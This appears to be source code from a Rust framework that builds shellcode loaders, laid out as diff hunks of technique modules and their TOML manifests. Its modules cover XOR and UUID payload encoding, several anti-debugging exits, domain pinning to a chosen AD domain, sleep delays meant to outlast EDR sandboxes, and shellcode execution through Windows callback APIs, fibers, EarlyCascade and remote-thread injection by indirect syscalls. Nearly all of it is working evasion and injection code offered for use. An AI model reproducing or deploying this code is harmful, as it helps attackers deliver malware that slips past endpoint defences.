fn uuid_encode(shellcode: &[u8]) -> String {
|
||||
let mut padded = shellcode.to_vec();
|
||||
let remainder = padded.len() % 16;
|
||||
if remainder != 0 { padded.resize(padded.len() + (16 - remainder), 0); }
|
||||
padded.chunks_exact(16)
|
||||
.map(|chunk| { let arr: [u8; 16] = chunk.try_into().unwrap(); bytes_to_uuid(&arr) })
|
||||
.collect::<Vec<String>>()
|
||||
.join("\n")
|
||||
}
|
||||
|
||||
pub use super::super::UUID_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "uuid"
|
||||
display_name = "UUID encoding — payload hidden as UUID strings"
|
||||
description = "Encode shellcode as a list of UUID strings, then XOR-mask the result. Reduces entropy detection."
|
||||
category = "encryption"
|
||||
tags = []
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,39 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
use crate::tools::random_u8;
|
||||
use std::fs;
|
||||
|
||||
pub struct Xor;
|
||||
|
||||
impl Technique for Xor {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &XOR_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let key = non_zero_random_key();
|
||||
let shellcode = fs::read(ctx.shellcode_path)
|
||||
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
|
||||
let encrypted: Vec<u8> = shellcode.iter().map(|b| b ^ key).collect();
|
||||
|
||||
let out_path = ctx.src_dir.join("input.xor");
|
||||
fs::write(&out_path, &encrypted)
|
||||
.map_err(|e| anyhow::anyhow!("write input.xor: {e}"))?;
|
||||
|
||||
ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.xor\"".to_string());
|
||||
ctx.set_replacement("{{DECRYPTION_FUNCTION}}",
|
||||
"fn xor_decode(buf: &[u8], key: u8) -> Vec<u8> { buf.iter().map(|x| x ^ key).collect() }".to_string());
|
||||
ctx.set_replacement("{{MAIN}}", format!("vec = xor_decode(&vec, {});", key));
|
||||
ctx.set_replacement("{{DEPENDENCIES}}", String::new());
|
||||
ctx.set_replacement("{{IMPORTS}}", String::new());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
fn non_zero_random_key() -> u8 {
|
||||
loop {
|
||||
let k = random_u8();
|
||||
if k != 0 { return k; }
|
||||
}
|
||||
}
|
||||
|
||||
// XOR_META declared in the generated registry.rs (build.rs reads technique.toml).
|
||||
// We re-export it here so users can `use crate::techniques::encryption::xor::XOR_META;`.
|
||||
pub use super::super::XOR_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "xor"
|
||||
display_name = "XOR — single-byte key (fast, trivial entropy)"
|
||||
description = "XOR each shellcode byte with a random non-zero byte. Lightweight, easy to detect in entropy analysis."
|
||||
category = "encryption"
|
||||
tags = []
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,27 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct AntiDebugCheckRemote;
|
||||
|
||||
impl Technique for AntiDebugCheckRemote {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_CHECK_REMOTE_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_check_remote() {
|
||||
unsafe {
|
||||
let mut present: i32 = 0;
|
||||
let _ = winapi::um::debugapi::CheckRemoteDebuggerPresent(
|
||||
winapi::um::processthreadsapi::GetCurrentProcess(),
|
||||
&mut present,
|
||||
);
|
||||
if present != 0 {
|
||||
winapi::um::processthreadsapi::ExitProcess(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_check_remote();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ANTI_DEBUG_CHECK_REMOTE_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "anti_debug_check_remote"
|
||||
display_name = "CheckRemoteDebuggerPresent"
|
||||
description = "Exit if a kernel debugger is attached. Detected via the documented Win32 API."
|
||||
category = "evasion"
|
||||
tags = ["anti_debug"]
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,44 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct AntiDebugProcessDebugPort;
|
||||
|
||||
impl Technique for AntiDebugProcessDebugPort {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_PROCESS_DEBUG_PORT_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_debug_port() {
|
||||
unsafe {
|
||||
type NtQueryInfoProc = unsafe extern "system" fn(
|
||||
winapi::shared::ntdef::HANDLE,
|
||||
u32,
|
||||
*mut isize,
|
||||
u32,
|
||||
*mut u32,
|
||||
) -> i32;
|
||||
let h = winapi::um::libloaderapi::GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8);
|
||||
if h.is_null() { return; }
|
||||
let name = b"NtQueryInformationProcess\0";
|
||||
let p = winapi::um::libloaderapi::GetProcAddress(h, name.as_ptr() as *const i8);
|
||||
if p.is_null() { return; }
|
||||
let f: NtQueryInfoProc = std::mem::transmute(p);
|
||||
let mut debug_port: isize = 0;
|
||||
let mut ret_len: u32 = 0;
|
||||
let status = f(
|
||||
winapi::um::processthreadsapi::GetCurrentProcess(),
|
||||
7, // ProcessDebugPort
|
||||
&mut debug_port,
|
||||
core::mem::size_of::<isize>() as u32,
|
||||
&mut ret_len,
|
||||
);
|
||||
if status >= 0 && debug_port == -1 {
|
||||
winapi::um::processthreadsapi::ExitProcess(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_debug_port();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ANTI_DEBUG_PROCESS_DEBUG_PORT_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "anti_debug_process_debug_port"
|
||||
display_name = "NtQueryInformationProcess · ProcessDebugPort"
|
||||
description = "Query the kernel debug port (class 7). A value of -1 means a debugger is attached."
|
||||
category = "evasion"
|
||||
tags = ["anti_debug"]
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,30 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct AntiDebugTeb;
|
||||
|
||||
impl Technique for AntiDebugTeb {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_TEB_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_teb() {
|
||||
let being_debugged: u32;
|
||||
unsafe {
|
||||
std::arch::asm!(
|
||||
"mov {peb}, gs:[0x60]",
|
||||
"movzx {bd:e}, byte ptr [{peb} + 0x02]",
|
||||
peb = out(reg) _,
|
||||
bd = out(reg) being_debugged,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
if being_debugged != 0 {
|
||||
unsafe { winapi::um::processthreadsapi::ExitProcess(0) };
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_teb();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ANTI_DEBUG_TEB_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "anti_debug_teb"
|
||||
display_name = "TEB BeingDebugged byte"
|
||||
description = "Read gs:[0x60] → PEB.BeingDebugged. Cheapest debugger check, no API calls."
|
||||
category = "evasion"
|
||||
tags = ["anti_debug"]
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,39 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct AntiDebugUnhandledFilter;
|
||||
|
||||
impl Technique for AntiDebugUnhandledFilter {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_UNHANDLED_FILTER_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let snippet = r#"fn evasion_anti_debug_unhandled_filter() {
|
||||
extern "system" fn flt(info: *const winapi::um::winnt::EXCEPTION_POINTERS) -> i32 {
|
||||
unsafe {
|
||||
let ctx = &mut *(*info).ContextRecord;
|
||||
ctx.Rip += 3;
|
||||
}
|
||||
-1
|
||||
}
|
||||
unsafe {
|
||||
let prev = winapi::um::errhandlingapi::SetUnhandledExceptionFilter(Some(flt));
|
||||
let mut is_debugged: u8 = 1;
|
||||
std::arch::asm!(
|
||||
"int 3",
|
||||
"jmp 2f",
|
||||
"mov {0}, 0",
|
||||
"2:",
|
||||
inout(reg_byte) is_debugged,
|
||||
);
|
||||
winapi::um::errhandlingapi::SetUnhandledExceptionFilter(prev);
|
||||
if is_debugged == 1 {
|
||||
winapi::um::processthreadsapi::ExitProcess(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
evasion_anti_debug_unhandled_filter();"#;
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ANTI_DEBUG_UNHANDLED_FILTER_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "anti_debug_unhandled_filter"
|
||||
display_name = "SetUnhandledExceptionFilter · int3 trick"
|
||||
description = "Raise INT3. If our unhandled filter runs no debugger is present; if the breakpoint is swallowed silently, exit."
|
||||
category = "evasion"
|
||||
tags = ["anti_debug"]
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,38 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct DomainPin;
|
||||
|
||||
impl Technique for DomainPin {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &DOMAIN_PIN_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let expected = ctx.param("domain_pin", "domain").unwrap_or("");
|
||||
if expected.is_empty() {
|
||||
// user enabled the check but didn't fill in a domain
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let sandbox_function = format!(
|
||||
"fn evasion_domain_pin_get_name() -> Option<String> {{
|
||||
let mut size: u32 = 256;
|
||||
let mut buffer: Vec<u16> = vec![0; size as usize];
|
||||
let success = unsafe {{ winapi::um::sysinfoapi::GetComputerNameExW(winapi::um::sysinfoapi::ComputerNameDnsDomain, buffer.as_mut_ptr(), &mut size) }};
|
||||
if success == 0 || size == 0 {{ return None; }}
|
||||
let domain_name = String::from_utf16(&buffer[..size as usize]).map(|s| s.trim_end_matches('\\0').to_string()).ok()?;
|
||||
if domain_name.is_empty() {{ return None; }}
|
||||
Some(domain_name)
|
||||
}}
|
||||
fn evasion_domain_pin() {{
|
||||
match evasion_domain_pin_get_name() {{
|
||||
Some(domain) => {{ if !domain.as_str().eq_ignore_ascii_case(\"{0}\") {{ std::process::exit(0); }} }}
|
||||
None => {{ std::process::exit(0); }}
|
||||
}}
|
||||
}}
|
||||
evasion_domain_pin();", expected);
|
||||
|
||||
ctx.append_replacement("{{SANDBOX}}", sandbox_function);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::DOMAIN_PIN_META;
|
||||
@@ -0,0 +1,13 @@
|
||||
id = "domain_pin"
|
||||
display_name = "Domain pinning — only detonate on the named AD domain"
|
||||
description = "On startup, query the machine's DNS domain (GetComputerNameExW). Panic-exit if it does not match the expected value."
|
||||
category = "evasion"
|
||||
tags = []
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
|
||||
[[params]]
|
||||
name = "domain"
|
||||
kind = "text"
|
||||
label = "Expected domain"
|
||||
default = ""
|
||||
@@ -0,0 +1,44 @@
|
||||
//! NtDelayExecution-based sleep evasion.
|
||||
//!
|
||||
//! Emits a single `pause(N);` call into ONE of three template placeholders
|
||||
//! based on the user's `placement` choice. The `pause` function already
|
||||
//! exists in every injection template (each one wraps either NtDelayExecution
|
||||
//! via dynamic resolution / indirect syscall, or std::thread::sleep).
|
||||
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct NtDelay;
|
||||
|
||||
impl Technique for NtDelay {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &NT_DELAY_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let raw_ms = ctx.param("nt_delay", "delay_ms").unwrap_or("3000");
|
||||
let ms: u64 = raw_ms.trim().parse().unwrap_or(3000);
|
||||
if ms == 0 {
|
||||
return Ok(()); // no-op when user clears the field
|
||||
}
|
||||
|
||||
let placement = ctx
|
||||
.param("nt_delay", "placement")
|
||||
.unwrap_or("Between every step");
|
||||
|
||||
let call = format!("pause({});", ms);
|
||||
|
||||
match placement {
|
||||
"At start" => {
|
||||
ctx.set_replacement("{{NT_DELAY_AT_START}}", call);
|
||||
}
|
||||
"Before execution only" => {
|
||||
ctx.set_replacement("{{NT_DELAY_FINAL}}", call);
|
||||
}
|
||||
_ => {
|
||||
// Default: between every step.
|
||||
ctx.set_replacement("{{NT_DELAY_STEP}}", call);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::NT_DELAY_META;
|
||||
@@ -0,0 +1,19 @@
|
||||
id = "nt_delay"
|
||||
display_name = "NtDelayExecution — sleep around shellcode operations"
|
||||
description = "Insert a configurable Sleep() call. Use a long delay to outlast EDR sandbox emulators that bail after a few seconds, or stagger each step so behavioral analysis sees a slow-moving target."
|
||||
category = "evasion"
|
||||
tags = []
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
|
||||
[[params]]
|
||||
name = "delay_ms"
|
||||
kind = "text"
|
||||
label = "Delay (ms)"
|
||||
default = "3000"
|
||||
|
||||
[[params]]
|
||||
name = "placement"
|
||||
kind = "choice"
|
||||
label = "Placement"
|
||||
options = ["Between every step", "Before execution only", "At start"]
|
||||
@@ -0,0 +1,58 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct CdefFolderMenu;
|
||||
|
||||
impl Technique for CdefFolderMenu {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &CDEF_FOLDER_MENU_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("callbackExec");
|
||||
|
||||
let helpers = r#"
|
||||
unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32 {
|
||||
unsafe {
|
||||
windows_sys::Win32::System::Com::CoInitializeEx(
|
||||
std::ptr::null(),
|
||||
windows_sys::Win32::System::Com::COINIT_APARTMENTTHREADED as u32,
|
||||
);
|
||||
let callback: windows_sys::Win32::UI::Shell::LPFNDFMCALLBACK =
|
||||
Some(std::mem::transmute(param));
|
||||
let mut ppcm: *mut std::ffi::c_void = std::ptr::null_mut();
|
||||
windows_sys::Win32::UI::Shell::CDefFolderMenu_Create2(
|
||||
std::ptr::null(),
|
||||
std::ptr::null_mut(),
|
||||
0,
|
||||
std::ptr::null(),
|
||||
std::ptr::null_mut(),
|
||||
callback,
|
||||
0,
|
||||
std::ptr::null(),
|
||||
&mut ppcm,
|
||||
);
|
||||
}
|
||||
0
|
||||
}
|
||||
"#;
|
||||
ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string());
|
||||
|
||||
let body = r#"
|
||||
let addr = syscall_alloc_exec(&vec);
|
||||
if addr.is_null() { return; }
|
||||
let thread = winapi::um::processthreadsapi::CreateThread(
|
||||
null_mut(),
|
||||
0,
|
||||
Some(cdef_invoke),
|
||||
addr,
|
||||
0,
|
||||
null_mut(),
|
||||
);
|
||||
if !thread.is_null() {
|
||||
winapi::um::synchapi::WaitForSingleObject(thread, 0xFFFFFFFF);
|
||||
}
|
||||
"#;
|
||||
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::CDEF_FOLDER_MENU_META;
|
||||
@@ -0,0 +1,8 @@
|
||||
id = "cdef_folder_menu"
|
||||
display_name = "CDefFolderMenu_Create2"
|
||||
description = "Execute via Shell32 CDefFolderMenu_Create2 callback, dispatched from a worker thread."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "callbackExec"
|
||||
@@ -0,0 +1,12 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
pub struct Earlycascade;
|
||||
impl Technique for Earlycascade {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &EARLYCASCADE_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("ntEarlyCascade");
|
||||
let tgt = ctx.param("earlycascade", "target_process").unwrap_or("dllhost.exe");
|
||||
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
pub use super::super::EARLYCASCADE_META;
|
||||
@@ -0,0 +1,14 @@
|
||||
id = "earlycascade"
|
||||
display_name = "EarlyCascade"
|
||||
description = "EarlyCascade injection via shim engine callbacks."
|
||||
category = "injection"
|
||||
tags = ["remote_injection"]
|
||||
requires = ["target_process"]
|
||||
incompatible_with = []
|
||||
template_dir = "ntEarlyCascade"
|
||||
|
||||
[[params]]
|
||||
name = "target_process"
|
||||
kind = "text"
|
||||
label = "Target process"
|
||||
default = "dllhost.exe"
|
||||
@@ -0,0 +1,25 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct EnumCalendarInfo;
|
||||
|
||||
impl Technique for EnumCalendarInfo {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ENUM_CALENDAR_INFO_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("callbackExec");
|
||||
let body = r#"
|
||||
let addr = syscall_alloc_exec(&vec);
|
||||
if addr.is_null() { return; }
|
||||
winapi::um::winnls::EnumCalendarInfoA(
|
||||
Some(std::mem::transmute(addr)),
|
||||
0x0400,
|
||||
u32::MAX,
|
||||
21,
|
||||
);
|
||||
"#;
|
||||
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ENUM_CALENDAR_INFO_META;
|
||||
@@ -0,0 +1,8 @@
|
||||
id = "enum_calendar_info"
|
||||
display_name = "EnumCalendarInfoA"
|
||||
description = "Execute via EnumCalendarInfoA callback. CalType 21 with LOCALE_USER_DEFAULT."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "callbackExec"
|
||||
@@ -0,0 +1,24 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct EnumDesktops;
|
||||
|
||||
impl Technique for EnumDesktops {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ENUM_DESKTOPS_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("callbackExec");
|
||||
let body = r#"
|
||||
let addr = syscall_alloc_exec(&vec);
|
||||
if addr.is_null() { return; }
|
||||
winapi::um::winuser::EnumDesktopsW(
|
||||
winapi::um::winuser::GetProcessWindowStation(),
|
||||
Some(std::mem::transmute(addr)),
|
||||
0,
|
||||
);
|
||||
"#;
|
||||
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ENUM_DESKTOPS_META;
|
||||
@@ -0,0 +1,8 @@
|
||||
id = "enum_desktops"
|
||||
display_name = "EnumDesktopsW"
|
||||
description = "Execute via EnumDesktopsW callback on the current window station."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "callbackExec"
|
||||
@@ -0,0 +1,24 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct EnumSystemGeoId;
|
||||
|
||||
impl Technique for EnumSystemGeoId {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ENUM_SYSTEM_GEO_ID_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("callbackExec");
|
||||
let body = r#"
|
||||
let addr = syscall_alloc_exec(&vec);
|
||||
if addr.is_null() { return; }
|
||||
winapi::um::winnls::EnumSystemGeoID(
|
||||
16,
|
||||
0,
|
||||
Some(std::mem::transmute(addr)),
|
||||
);
|
||||
"#;
|
||||
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ENUM_SYSTEM_GEO_ID_META;
|
||||
@@ -0,0 +1,8 @@
|
||||
id = "enum_system_geo_id"
|
||||
display_name = "EnumSystemGeoID"
|
||||
description = "Execute via EnumSystemGeoID callback (geo class GEOCLASS_NATION = 16)."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "callbackExec"
|
||||
@@ -0,0 +1,23 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct EnumWindowStations;
|
||||
|
||||
impl Technique for EnumWindowStations {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &ENUM_WINDOW_STATIONS_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("callbackExec");
|
||||
let body = r#"
|
||||
let addr = syscall_alloc_exec(&vec);
|
||||
if addr.is_null() { return; }
|
||||
winapi::um::winuser::EnumWindowStationsW(
|
||||
Some(std::mem::transmute(addr)),
|
||||
0,
|
||||
);
|
||||
"#;
|
||||
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::ENUM_WINDOW_STATIONS_META;
|
||||
@@ -0,0 +1,8 @@
|
||||
id = "enum_window_stations"
|
||||
display_name = "EnumWindowStationsW"
|
||||
description = "Execute via EnumWindowStationsW callback. Lower API surface than EnumDesktopsW."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "callbackExec"
|
||||
@@ -0,0 +1,58 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct RtlUserFiberStart;
|
||||
|
||||
impl Technique for RtlUserFiberStart {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &RTL_USER_FIBER_START_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("callbackExec");
|
||||
|
||||
let helpers = r#"
|
||||
type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32;
|
||||
|
||||
#[inline]
|
||||
unsafe fn rtl_get_teb() -> *mut u8 {
|
||||
let teb: *mut u8;
|
||||
std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb, options(nostack, preserves_flags));
|
||||
teb
|
||||
}
|
||||
"#;
|
||||
ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string());
|
||||
|
||||
let body = r#"
|
||||
const TEB_FLAGS_OFFSET: usize = 0x20;
|
||||
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8;
|
||||
const HAS_FIBER_DATA_BIT: u8 = 0b100;
|
||||
|
||||
let ntdll = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
|
||||
if ntdll.is_null() { return; }
|
||||
let rtl_ptr = GetProcAddress(ntdll, b"RtlUserFiberStart\0".as_ptr() as *const i8);
|
||||
if rtl_ptr.is_null() { return; }
|
||||
|
||||
let teb = rtl_get_teb();
|
||||
*teb.add(TEB_FLAGS_OFFSET) |= HAS_FIBER_DATA_BIT;
|
||||
|
||||
let addr = syscall_alloc_exec(&vec);
|
||||
if addr.is_null() { return; }
|
||||
|
||||
let heap = windows_sys::Win32::System::Memory::GetProcessHeap();
|
||||
if heap.is_null() { return; }
|
||||
let fiber_data = windows_sys::Win32::System::Memory::HeapAlloc(heap, 0, 0x100);
|
||||
if fiber_data.is_null() { return; }
|
||||
|
||||
*(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr as *mut std::ffi::c_void;
|
||||
|
||||
std::arch::asm!("mov gs:[0x20], {}", in(reg) fiber_data, options(nostack));
|
||||
|
||||
let rtl_fn: RtlUserFiberStartFn = std::mem::transmute(rtl_ptr);
|
||||
let _ = rtl_fn();
|
||||
|
||||
windows_sys::Win32::System::Memory::HeapFree(heap, 0, fiber_data);
|
||||
"#;
|
||||
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::RTL_USER_FIBER_START_META;
|
||||
@@ -0,0 +1,8 @@
|
||||
id = "rtl_user_fiber_start"
|
||||
display_name = "RtlUserFiberStart"
|
||||
description = "Pivot into a fiber via undocumented ntdll!RtlUserFiberStart and a hand-rolled TEB fiber-data block."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "callbackExec"
|
||||
@@ -0,0 +1,12 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
pub struct Syscrt;
|
||||
impl Technique for Syscrt {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &SYSCRT_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("sysCRT");
|
||||
let tgt = ctx.param("syscrt", "target_process").unwrap_or("dllhost.exe");
|
||||
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
pub use super::super::SYSCRT_META;
|
||||
@@ -0,0 +1,14 @@
|
||||
id = "syscrt"
|
||||
display_name = "NtCreateThreadEx via indirect syscalls"
|
||||
description = "Remote NtCreateThreadEx via indirect syscalls (Dyncvoke) — bypasses user-mode EDR hooks on ntdll."
|
||||
category = "injection"
|
||||
tags = ["remote_injection", "syscall"]
|
||||
requires = ["target_process"]
|
||||
incompatible_with = []
|
||||
template_dir = "sysCRT"
|
||||
|
||||
[[params]]
|
||||
name = "target_process"
|
||||
kind = "text"
|
||||
label = "Target process"
|
||||
default = "dllhost.exe"
|
||||
@@ -0,0 +1,10 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
pub struct Sysfiber;
|
||||
impl Technique for Sysfiber {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &SYSFIBER_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("sysFIBER");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
pub use super::super::SYSFIBER_META;
|
||||
@@ -0,0 +1,8 @@
|
||||
id = "sysfiber"
|
||||
display_name = "Fibers via indirect syscalls"
|
||||
description = "Self-execute via fibers using indirect syscalls. Maximum evasion for self-injection."
|
||||
category = "injection"
|
||||
tags = ["self_injection", "syscall"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "sysFIBER"
|
||||
@@ -0,0 +1,12 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
pub struct Wincrt;
|
||||
impl Technique for Wincrt {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &WINCRT_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("winCRT");
|
||||
let tgt = ctx.param("wincrt", "target_process").unwrap_or("dllhost.exe");
|
||||
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
pub use super::super::WINCRT_META;
|
||||
@@ -0,0 +1,14 @@
|
||||
id = "wincrt"
|
||||
display_name = "CreateRemoteThread (official Windows crate)"
|
||||
description = "Classic CreateRemoteThread via the official Windows crate. Easiest to spot but smallest footprint."
|
||||
category = "injection"
|
||||
tags = ["remote_injection"]
|
||||
requires = ["target_process"]
|
||||
incompatible_with = []
|
||||
template_dir = "winCRT"
|
||||
|
||||
[[params]]
|
||||
name = "target_process"
|
||||
kind = "text"
|
||||
label = "Target process"
|
||||
default = "dllhost.exe"
|
||||
@@ -0,0 +1,31 @@
|
||||
//! Technique registry — the runtime/build-time abstraction over
|
||||
//! encryption / injection / evasion plugins.
|
||||
//!
|
||||
//! The registry itself (`TECHNIQUES`) is generated by `build.rs` from
|
||||
//! `technique.toml` manifests and included below.
|
||||
|
||||
pub mod build_context;
|
||||
pub mod types;
|
||||
|
||||
pub use build_context::BuildContext;
|
||||
pub use types::*;
|
||||
|
||||
pub trait Technique: Send + Sync {
|
||||
fn meta(&self) -> &'static TechniqueMeta;
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()>;
|
||||
}
|
||||
|
||||
